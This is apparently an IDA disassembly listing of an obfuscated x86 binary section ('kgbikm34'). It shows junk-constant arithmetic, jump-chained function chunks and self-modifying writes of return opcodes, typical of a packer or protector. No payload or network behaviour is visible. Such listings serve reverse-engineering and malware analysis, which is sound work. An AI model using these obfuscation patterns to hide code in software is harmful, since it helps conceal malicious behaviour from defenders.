		jmp	sub_4395AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4372E5

loc_44BEFC:				; CODE XREF: sub_4372E5+B9FAj
		mov	[eax], esi

loc_44BEFE:				; CODE XREF: sub_4372E5:loc_43F5C8j
		mov	eax, 0DD960900h
		call	sub_43BF6F
		sub	eax, 0B1A4DE7h
		jmp	loc_444873
; END OF FUNCTION CHUNK	FOR sub_4372E5

; =============== S U B	R O U T	I N E =======================================



sub_44BF13	proc near		; DATA XREF: kgbikm34:00439765o
		jnz	loc_44BF22
		add	dword ptr [ebp-8], 4
		jmp	loc_445B70
; ---------------------------------------------------------------------------

loc_44BF22:				; CODE XREF: sub_44BF13j
		add	dword ptr [ebp-8], 2
		jmp	loc_43B53B
sub_44BF13	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4471D6

loc_44BF2B:				; CODE XREF: sub_4471D6-DF0Dj
					; sub_4471D6+1E32j
		test	byte ptr [ebp-8], 20h
		jz	loc_449D17
		jmp	sub_439DBB
; END OF FUNCTION CHUNK	FOR sub_4471D6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_332. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44BF3B:				; CODE XREF: kgbikm34:loc_4494CCj
					; kgbikm34:0044C602j
					; DATA XREF: ...
		call	sub_43EAAD
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_44BF40:				; CODE XREF: sub_4474D5:loc_43B8BBj
		push	edx
		jno	loc_44CD08
		jmp	loc_449255
; END OF FUNCTION CHUNK	FOR sub_4474D5

; =============== S U B	R O U T	I N E =======================================



sub_44BF4C	proc near		; DATA XREF: sub_43DFA4-75Co
		add	edx, ebp
		add	edx, 28029F38h
		mov	edx, [edx]
		call	sub_43FD63
sub_44BF4C	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_440116

loc_44BF5B:				; CODE XREF: sub_440116+309Bj
		jmp	loc_43C7A7
; END OF FUNCTION CHUNK	FOR sub_440116
; ---------------------------------------------------------------------------

locret_44BF60:				; CODE XREF: kgbikm34:0043D4D0j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A179

loc_44BF61:				; CODE XREF: sub_43A179+C747j
		jmp	sub_43A4CE
; END OF FUNCTION CHUNK	FOR sub_43A179
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DD80

loc_44BF66:				; CODE XREF: sub_43DD80+59DCj
		jmp	nullsub_314
; END OF FUNCTION CHUNK	FOR sub_43DD80
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_356. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCAD

loc_44BF6C:				; CODE XREF: sub_43BCAD+8915j
		jmp	loc_43EC8A
; END OF FUNCTION CHUNK	FOR sub_43BCAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44649E

loc_44BF71:				; CODE XREF: kgbikm34:0043E647j
					; sub_44649E+449Bj
		jmp	nullsub_3
; END OF FUNCTION CHUNK	FOR sub_44649E
; ---------------------------------------------------------------------------

loc_44BF76:				; CODE XREF: kgbikm34:loc_44D202j
		xor	eax, 52C6F037h
		and	eax, 98C2348Eh
		xor	eax, 0DB89CFC5h
		push	offset sub_44A796
		jmp	locret_4429EB
; ---------------------------------------------------------------------------
		cmp	ebx, 93B638A3h
		jmp	loc_446AA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442340

loc_44BF9D:				; CODE XREF: sub_442340:loc_449C37j
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_442340
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DFA4

loc_44BF9F:				; CODE XREF: sub_43DFA4+10j
		jmp	loc_43A027
; END OF FUNCTION CHUNK	FOR sub_43DFA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442340

loc_44BFA4:				; CODE XREF: sub_442340-6EA8j
		add	ebx, eax
		mov	eax, ds:dword_43A8C4
		jmp	loc_43F2D0
; END OF FUNCTION CHUNK	FOR sub_442340
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4395BB

loc_44BFB0:				; CODE XREF: sub_4395BB:loc_43E7E9j
		xor	eax, eax
		jmp	loc_43790A
; END OF FUNCTION CHUNK	FOR sub_4395BB

; =============== S U B	R O U T	I N E =======================================



sub_44BFB7	proc near		; CODE XREF: sub_44B47A+8j
		add	esp, 0FFFFFFD0h
		mov	eax, 12h

loc_44BFBF:				; CODE XREF: kgbikm34:0044B028j
		call	sub_4466E3
		jmp	loc_44C721
sub_44BFB7	endp

; ---------------------------------------------------------------------------

loc_44BFC9:				; CODE XREF: kgbikm34:loc_447644j
					; kgbikm34:0044765Aj
		xor	edx, 7CF27ACDh
		and	edx, 0EF3BE96Ch
		call	sub_43B197
; START	OF FUNCTION CHUNK FOR sub_441E1C

loc_44BFDA:				; CODE XREF: sub_441E1C+19j
		jmp	loc_44AA3A
; END OF FUNCTION CHUNK	FOR sub_441E1C
; ---------------------------------------------------------------------------

loc_44BFDF:				; CODE XREF: kgbikm34:0043F19Dj
		push	89FF1C6Eh
		pop	edi
		and	edi, 0DF90571Ch
		or	edi, 1D324756h
		add	edi, 629268A1h
		xchg	edi, [esp]
		jmp	loc_43DAF0
; ---------------------------------------------------------------------------
		jmp	ds:dword_41E124
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439003

loc_44C005:				; CODE XREF: sub_439003+9BDDj
		jmp	loc_439D6E
; END OF FUNCTION CHUNK	FOR sub_439003
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_19. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	loc_439231
; ---------------------------------------------------------------------------
		or	edx, 0BFA2BAC5h
		jmp	sub_43C1F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44114F

loc_44C01B:				; CODE XREF: sub_44114F+Cj
		add	edx, 0E0229BBAh
		xor	edx, 74ED17C1h
		add	edx, ebp
		push	ebx
		jmp	loc_440C18
; END OF FUNCTION CHUNK	FOR sub_44114F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444A5E

loc_44C02F:				; CODE XREF: sub_444A5E-3658j
		pushf
		jmp	loc_4372FE
; END OF FUNCTION CHUNK	FOR sub_444A5E
; ---------------------------------------------------------------------------
		push	edi
		mov	edi, edx
		xchg	edi, [esp]
		push	0C1131820h
		pop	edx
		sub	edx, 0FD282D8Ah
		add	edx, 0C136C2F6h
		jmp	loc_438713
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A111

loc_44C052:				; CODE XREF: sub_44A111+1j
		push	3AE18CA7h
		pop	ebx

loc_44C058:				; CODE XREF: kgbikm34:loc_43B83Fj
		add	ebx, 52207373h
		and	ebx, 6DA498EFh
		sub	ebx, 0CF760427h
		and	ebx, 686BA652h
		jmp	loc_44AD56
; END OF FUNCTION CHUNK	FOR sub_44A111
; ---------------------------------------------------------------------------
		xchg	ebp, [ebx]
		xor	esi, 0FD83E6A3h
		jmp	sub_43F0A5
; ---------------------------------------------------------------------------
		cmp	ebx, ecx
		jmp	loc_44A117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A2E

loc_44C089:				; CODE XREF: sub_439A2E+7BF7j
		push	280D1125h
		jmp	loc_4498F8
; END OF FUNCTION CHUNK	FOR sub_439A2E

; =============== S U B	R O U T	I N E =======================================



sub_44C093	proc near		; CODE XREF: kgbikm34:0043F680j
					; sub_43AB5E+11620p

; FUNCTION CHUNK AT 0043B9F2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BD0C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441B00 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00442D18 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044309B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443AE0 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00443DA6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446EF7 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044A9F6 SIZE 00000010 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	7762574Ah
		pop	ebx
		and	ebx, 2F2205F3h
		sub	ebx, 65D4FB7Eh
		jmp	loc_442D18
sub_44C093	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	eax
		ror	eax, 7
		push	ebx
		push	322F730Eh
		pop	ebx
		rol	ebx, 1Eh
		jmp	loc_43A5E1
; ---------------------------------------------------------------------------

loc_44C0C1:				; CODE XREF: kgbikm34:0043EC64j
		mov	ebp, 90E3D5F8h

loc_44C0C6:				; CODE XREF: kgbikm34:loc_43EC42j
		sub	edx, 880F0D83h
		add	edx, 5409BA8Fh
		push	esi
		pushf
		push	0F0D9ABF4h
		pop	esi
		xor	esi, 9F7D66Dh
		jmp	loc_43714D
; ---------------------------------------------------------------------------
		push	ecx
		jmp	sub_44553C
; ---------------------------------------------------------------------------
		adc	ecx, 88509645h
		jmp	sub_444864
; ---------------------------------------------------------------------------

loc_44C0F6:				; CODE XREF: kgbikm34:0043F0D1j
		ja	loc_44AE2D
		add	eax, ebp
		push	2F7791ABh
; START	OF FUNCTION CHUNK FOR sub_43E58D

loc_44C103:				; CODE XREF: sub_43E58D:loc_445952j
		add	edx, 521F640Fh
		xor	edx, 3B6E02E8h
		jmp	loc_44CF3E
; END OF FUNCTION CHUNK	FOR sub_43E58D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EAEE

loc_44C114:				; CODE XREF: sub_43EAEE-3522j
		xor	eax, 0CD8DFE5h
		ror	eax, 8
		xor	eax, 39B187D4h
		sub	eax, 0D8089C02h
		ror	eax, 9
		push	edx
		jmp	loc_442A8F
; END OF FUNCTION CHUNK	FOR sub_43EAEE
; ---------------------------------------------------------------------------
		or	eax, 463B6CCFh
		jmp	sub_4463B1
; ---------------------------------------------------------------------------
		cmp	edi, ebx
		jmp	loc_44AFA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CAB5

loc_44C144:				; CODE XREF: sub_43CAB5:loc_440225j
		mov	ds:dword_4372DC, eax
; END OF FUNCTION CHUNK	FOR sub_43CAB5
; START	OF FUNCTION CHUNK FOR sub_43AD9F

loc_44C14A:				; CODE XREF: sub_43AD9F-19F0j
					; sub_43AD9F+7A90j
		push	offset loc_445E17
		jmp	nullsub_192
; END OF FUNCTION CHUNK	FOR sub_43AD9F
; ---------------------------------------------------------------------------

loc_44C154:				; CODE XREF: kgbikm34:0044C810j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BB9F

loc_44C155:				; CODE XREF: sub_44BB9F-8766j
		jmp	nullsub_209
; END OF FUNCTION CHUNK	FOR sub_44BB9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AB97

loc_44C15A:				; CODE XREF: sub_43AB97+C770j
					; sub_43AB97+C779j
		add	edx, 9C3CC048h
		xchg	edx, [esp-4+arg_0]
		jmp	sub_445D55
; END OF FUNCTION CHUNK	FOR sub_43AB97
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		call	sub_43C7C6
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4424F7

loc_44C171:				; CODE XREF: sub_4424F7+4F50j
		jmp	sub_449629
; END OF FUNCTION CHUNK	FOR sub_4424F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AB5E

loc_44C176:				; CODE XREF: sub_43AB5E:loc_44733Aj
		add	eax, 0F5BD7CB5h
		push	ebx
		pushf
		call	sub_44C093

loc_44C183:				; CODE XREF: kgbikm34:004498BFj
		jmp	loc_44805B
; END OF FUNCTION CHUNK	FOR sub_43AB5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44273E

loc_44C188:				; CODE XREF: sub_44273E+8j
		jmp	loc_441BD5
; END OF FUNCTION CHUNK	FOR sub_44273E
; ---------------------------------------------------------------------------

loc_44C18D:				; CODE XREF: kgbikm34:0043D62Dj
		jmp	loc_44230C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CBF7

loc_44C192:				; CODE XREF: sub_43CBF7:loc_441F82j
		jmp	ds:off_41E0C0
; END OF FUNCTION CHUNK	FOR sub_43CBF7

; =============== S U B	R O U T	I N E =======================================



sub_44C198	proc near		; CODE XREF: sub_43CBF7p
					; sub_449C42-1621j ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004397DD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441BF5 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00441EE2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446461 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00448CF6 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0044936A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004493D6 SIZE 00000014 BYTES

		xchg	eax, [esp+0]
		mov	edx, eax
		pop	eax
		jnz	loc_448CF6
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_43FD86
		jmp	loc_441EE2
sub_44C198	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B6B

loc_44C1B2:				; CODE XREF: sub_438B6B+9C9Dj
		push	edi
		push	0FAB3074Bh
		xchg	ecx, [esp+0]

loc_44C1BB:				; CODE XREF: kgbikm34:00445EF6j
		mov	edi, ecx
		jmp	loc_4476DB
; END OF FUNCTION CHUNK	FOR sub_438B6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444A81

loc_44C1C2:				; CODE XREF: sub_444A81+16j
		xor	esi, 1B32CB89h
		sub	esi, ds:4000F9h
		test	esi, 10000h
		jmp	loc_43D980
; END OF FUNCTION CHUNK	FOR sub_444A81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DF5B

loc_44C1D9:				; CODE XREF: sub_43DF5B-4398j
		jnz	loc_4435C4
		jmp	loc_441E01
; END OF FUNCTION CHUNK	FOR sub_43DF5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BF6F

loc_44C1E4:				; CODE XREF: sub_43BF6F+5A7j
		jg	loc_4474DE

loc_44C1EA:				; CODE XREF: sub_43BF6F:loc_43F739j
		push	offset sub_438796
		jmp	loc_4487ED
; END OF FUNCTION CHUNK	FOR sub_43BF6F
; ---------------------------------------------------------------------------

loc_44C1F4:				; CODE XREF: kgbikm34:0043B4F8j
		ja	loc_43D0EB
; START	OF FUNCTION CHUNK FOR sub_4383A3

loc_44C1FA:				; CODE XREF: sub_4383A3:loc_44A01Cj
		add	edx, 0D1119948h
		xchg	edx, [esp+4+var_4]
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_4383A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4417B1

loc_44C208:				; CODE XREF: sub_4417B1:loc_4489F2j
		mov	eax, [esi]
		popf
		jmp	loc_443DDE
; END OF FUNCTION CHUNK	FOR sub_4417B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EF3C

loc_44C210:				; CODE XREF: sub_43EF3C+6j
		pop	eax
		or	eax, 0F777E9A4h
		xor	eax, 18E1D93Eh
		add	eax, 0AD5E5837h
		sub	eax, 5568C6Ch
		test	eax, 80h
		jmp	loc_444E5F
; END OF FUNCTION CHUNK	FOR sub_43EF3C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_215. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44C235:				; CODE XREF: kgbikm34:0044755Cj
		jmp	loc_4460C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CD31

loc_44C23A:				; CODE XREF: sub_44CD31+1j
		push	2C81FDBEh
		pop	ecx
		add	ecx, 8A491878h
		or	ecx, 0C795D538h
		and	ecx, ds:4000F8h
		add	ecx, 9C38D962h
		xchg	ecx, [esp+4+var_4]
		jmp	loc_439CA3
; END OF FUNCTION CHUNK	FOR sub_44CD31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446E38

loc_44C260:				; CODE XREF: sub_446E38:loc_44245Bj
		mov	dx, [eax+2]
		push	0C9553B38h
		pop	eax
		or	eax, 0B084D49Dh
		cmp	eax, 8A5B8D1Ch
		jmp	loc_44DF99
; END OF FUNCTION CHUNK	FOR sub_446E38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44772C

loc_44C27B:				; CODE XREF: sub_44772C:loc_43D54Dj
		jl	loc_4425E3

loc_44C281:				; CODE XREF: kgbikm34:004431F5j
		jmp	loc_43EFFC
; END OF FUNCTION CHUNK	FOR sub_44772C
; ---------------------------------------------------------------------------
		mov	edi, 565AC62Dh
		xor	ebp, 0A06BD2AAh
		jmp	loc_4425E1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_96. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43741E

loc_44C297:				; CODE XREF: sub_43741E+344Fj
		jmp	loc_44D60F
; END OF FUNCTION CHUNK	FOR sub_43741E
; ---------------------------------------------------------------------------
		or	edi, ebp
		jmp	sub_447E9A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4418C2

loc_44C2A3:				; CODE XREF: sub_4418C2+17j
		cmp	ecx, 25B93CD0h
		jmp	loc_44BD9F
; END OF FUNCTION CHUNK	FOR sub_4418C2
; ---------------------------------------------------------------------------
		sub	esi, 0C8B03502h
		jmp	loc_44271B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4424F7

loc_44C2B9:				; CODE XREF: sub_4424F7-6CDCj
		xor	eax, 0FB6A83Bh
		cmp	eax, 236714Ch
		jmp	loc_437864
; END OF FUNCTION CHUNK	FOR sub_4424F7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_114. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB97

loc_44C2CB:				; CODE XREF: sub_43CB97+12j
		jmp	loc_4450F9
; END OF FUNCTION CHUNK	FOR sub_43CB97

; =============== S U B	R O U T	I N E =======================================



sub_44C2D0	proc near		; CODE XREF: kgbikm34:00438B56j
					; kgbikm34:00447707p

arg_0		= dword	ptr  4

		xchg	esi, [esp+0]
		pop	esi
		add	ecx, 6CE9B05Dh
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_4480FF
sub_44C2D0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442B5D

loc_44C2E2:				; CODE XREF: sub_442B5D:loc_44789Dj
		push	eax
		mov	eax, edx
		push	edi
		push	0A0D31D25h
		pop	edi
		and	edi, 78F6A415h
		jmp	loc_4487E8
; END OF FUNCTION CHUNK	FOR sub_442B5D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444E1C

loc_44C2F7:				; CODE XREF: sub_444E1C:loc_43C8FCj
		or	[edx-8], eax
		jmp	loc_444B20
; END OF FUNCTION CHUNK	FOR sub_444E1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55C

loc_44C2FF:				; CODE XREF: sub_43C55C-3D4Ej
					; sub_43C55C+88D6j
		cmp	dword ptr [ebp-10h], 1
		jnz	loc_44DC56
		mov	eax, [ebp+8]
		jmp	loc_43708B
; END OF FUNCTION CHUNK	FOR sub_43C55C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446F79

loc_44C311:				; CODE XREF: sub_446F79:loc_44DF20j
		jz	loc_4426DF
		jmp	loc_44C3EA
; END OF FUNCTION CHUNK	FOR sub_446F79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D9CE

loc_44C31C:				; CODE XREF: sub_44D9CE-117DFj
		rol	eax, 0Dh
		xor	eax, 0B9F09355h
		call	sub_4400C7
		rol	eax, 1Bh
		jmp	sub_4436D8
; END OF FUNCTION CHUNK	FOR sub_44D9CE
; ---------------------------------------------------------------------------
		jmp	ds:off_41E11C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443681

loc_44C338:				; CODE XREF: sub_443681-62AAj
					; sub_443681+57B3j ...
		pop	edx
		jns	loc_44A881
		mov	eax, [esp+0]
		jmp	loc_4473F9
; END OF FUNCTION CHUNK	FOR sub_443681

; =============== S U B	R O U T	I N E =======================================



sub_44C347	proc near		; CODE XREF: kgbikm34:0043D23Fj
					; sub_44D3D7+Fp

; FUNCTION CHUNK AT 0043770B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043FA14 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044AF24 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi

loc_44C34B:				; CODE XREF: sub_4429A6:loc_43D13Cj
		call	sub_43BF6F
		push	ecx
		push	8AAA3995h
		pop	ecx
		and	ecx, 0BF8A3FBFh
		sub	ecx, 90FEC73Ah
		jmp	loc_44AF24
sub_44C347	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439609

loc_44C368:				; CODE XREF: sub_439609+9EF0j
					; sub_44B558:loc_44B574j
		jz	loc_43C878
		jmp	loc_44A849
; END OF FUNCTION CHUNK	FOR sub_439609
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F145

loc_44C373:				; CODE XREF: sub_43F145:loc_441993j
		add	ecx, 4389B72Bh
		sub	eax, ecx
		xchg	eax, [esp+4+var_4]
		mov	ecx, eax
		pop	eax
		ror	eax, 19h
		jmp	loc_448597
; END OF FUNCTION CHUNK	FOR sub_43F145
; ---------------------------------------------------------------------------

loc_44C389:				; CODE XREF: kgbikm34:00444D5Ej
		add	ebx, esi
		cdq
		push	ebx

loc_44C38D:				; CODE XREF: kgbikm34:loc_444D57j
		add	ebx, 0BE307253h
		xchg	ebx, [esp]
		jmp	loc_441C24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CECD

loc_44C39B:				; CODE XREF: sub_43CECD+54BCj
		call	sub_43D777

loc_44C3A0:				; CODE XREF: sub_439609+95F7j
		jmp	loc_44702A
; END OF FUNCTION CHUNK	FOR sub_43CECD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B6E1

loc_44C3A5:				; CODE XREF: sub_44B6E1:loc_43E96Aj
		jnb	loc_44A5A9

loc_44C3AB:				; CODE XREF: kgbikm34:004474BCj
		jmp	loc_43855A
; END OF FUNCTION CHUNK	FOR sub_44B6E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DAF3

loc_44C3B0:				; CODE XREF: sub_44DAF3-6B5Cj
		jmp	loc_44CC11
; END OF FUNCTION CHUNK	FOR sub_44DAF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_44C3B5:				; CODE XREF: sub_439BDE+313Aj
		jmp	loc_447D2B
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------
		jz	loc_442BB2
		jmp	loc_44A5A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43741E

loc_44C3C5:				; CODE XREF: sub_43741E+12EC2j
		cmp	al, 0A4h
		jz	loc_4424B6
		jmp	loc_44007C
; END OF FUNCTION CHUNK	FOR sub_43741E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CD5D

loc_44C3D2:				; CODE XREF: sub_43CD5D-2A6Fj
		pop	eax
		sub	eax, 0BFE19B03h
		xor	eax, ds:4000F0h
		and	eax, 6EC457ADh
		jmp	loc_44CB1B
; END OF FUNCTION CHUNK	FOR sub_43CD5D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446F79

loc_44C3EA:				; CODE XREF: sub_446F79+539Ej
		jz	loc_43F107
		sub	esi, ebx
		jmp	loc_4426DF
; END OF FUNCTION CHUNK	FOR sub_446F79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4478CD

loc_44C3F7:				; CODE XREF: sub_4478CD:loc_444BC7j
		xchg	edx, [esp-8+arg_4]
		jmp	loc_44B61D
; END OF FUNCTION CHUNK	FOR sub_4478CD
; ---------------------------------------------------------------------------
		mov	ds:dword_41E0A0, eax
		lea	eax, nullsub_197
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_197
; ---------------------------------------------------------------------------

loc_44C413:				; CODE XREF: kgbikm34:loc_44AC95j
		mov	eax, [esp]
		jmp	near ptr dword_443C90+9

; =============== S U B	R O U T	I N E =======================================



sub_44C41B	proc near		; CODE XREF: sub_438978+5A05p
					; kgbikm34:004456E4j

; FUNCTION CHUNK AT 004378C1 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	byte ptr [eax],	0C3h
		jmp	loc_4378C1
sub_44C41B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ebx
		push	0ACD9D0B4h
		jmp	loc_444412
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A22B

loc_44C432:				; CODE XREF: sub_43A22B+11A7Fj
		and	eax, 0A52F7234h
		add	eax, 95BEBF9Ah
		and	eax, 0CC0A9FBBh
		add	eax, 567B63FDh
		call	sub_4451CE
; END OF FUNCTION CHUNK	FOR sub_43A22B
; START	OF FUNCTION CHUNK FOR sub_445138

loc_44C44F:				; CODE XREF: sub_445138+Ej
		jmp	loc_439215
; END OF FUNCTION CHUNK	FOR sub_445138
; ---------------------------------------------------------------------------

loc_44C454:				; CODE XREF: kgbikm34:004411B4j
		jmp	sub_43BF6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445F1B

loc_44C459:				; CODE XREF: sub_445F1B-A911j
		jmp	nullsub_8
; END OF FUNCTION CHUNK	FOR sub_445F1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4446F8

loc_44C45E:				; CODE XREF: sub_4446F8:loc_4449EFj
		add	edi, ebp

loc_44C460:				; CODE XREF: sub_449D59:loc_447387j
		add	edi, 9F41D5DDh
		mov	[edi], eax
		pop	edi
		push	400h
		jmp	loc_43E92C
; END OF FUNCTION CHUNK	FOR sub_4446F8

; =============== S U B	R O U T	I N E =======================================



sub_44C473	proc near		; DATA XREF: kgbikm34:004453C2o

; FUNCTION CHUNK AT 0044BBD0 SIZE 0000001D BYTES

		call	sub_4400C7
		push	ebx
		push	5A0E4FA0h
		pop	ebx
		jmp	loc_44BBD0
sub_44C473	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4396AA

loc_44C484:				; CODE XREF: sub_4396AA:loc_443EEAj
		push	edx
		push	0E463F133h
		pop	edx
		sub	edx, 0E456978Dh
		jmp	loc_43B336
; END OF FUNCTION CHUNK	FOR sub_4396AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444D26

loc_44C496:				; CODE XREF: sub_444D26+9F4j
		test	ebx, 0AFB6FEDEh
		jmp	loc_448817
; END OF FUNCTION CHUNK	FOR sub_444D26
; ---------------------------------------------------------------------------
		and	edi, 8AA2A787h
		jmp	sub_4460F2
; ---------------------------------------------------------------------------
		mov	ds:off_41E080, eax
		lea	eax, loc_449A5B
		mov	byte ptr [eax],	0C3h
		jmp	loc_449A5B
; ---------------------------------------------------------------------------

loc_44C4C0:				; CODE XREF: kgbikm34:loc_439B69j
		mov	eax, [esp]

loc_44C4C3:				; CODE XREF: kgbikm34:loc_440FFCj
		push	offset sub_4383A3
		jmp	loc_442012
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4455C3

loc_44C4CD:				; CODE XREF: sub_4455C3:loc_44B27Dj
		xchg	ebx, [esp+0]
		call	sub_43EB8F
		mov	eax, 320057C2h

loc_44C4DA:				; CODE XREF: kgbikm34:loc_43E303j
		call	sub_4400C7
		push	esi
		jmp	loc_441697
; END OF FUNCTION CHUNK	FOR sub_4455C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B1D6

loc_44C4E5:				; CODE XREF: sub_43B1D6+7BBCj
					; sub_43B1D6:loc_44C568j
		xor	eax, 0EE4B4651h
		add	eax, ebp
		add	eax, 77320C5Bh
		push	esi
		mov	esi, eax
		xchg	esi, [esp+8+var_8]
		jmp	loc_43F6C6
; END OF FUNCTION CHUNK	FOR sub_43B1D6
; ---------------------------------------------------------------------------
		mov	edx, [esi]
		jmp	sub_441F15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446F79

loc_44C505:				; CODE XREF: sub_446F79+6F1Dj
		jz	loc_443A48
		jmp	loc_44549F
; END OF FUNCTION CHUNK	FOR sub_446F79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44368F

loc_44C510:				; CODE XREF: sub_44368F:loc_44DD29j
					; kgbikm34:0044DD40j
		xor	eax, 0EA62D282h
		add	eax, ebp
		add	eax, 0E56211DAh
		mov	eax, [eax]
		test	byte ptr [eax+1], 80h
		jnz	loc_44259F
		jmp	loc_439990
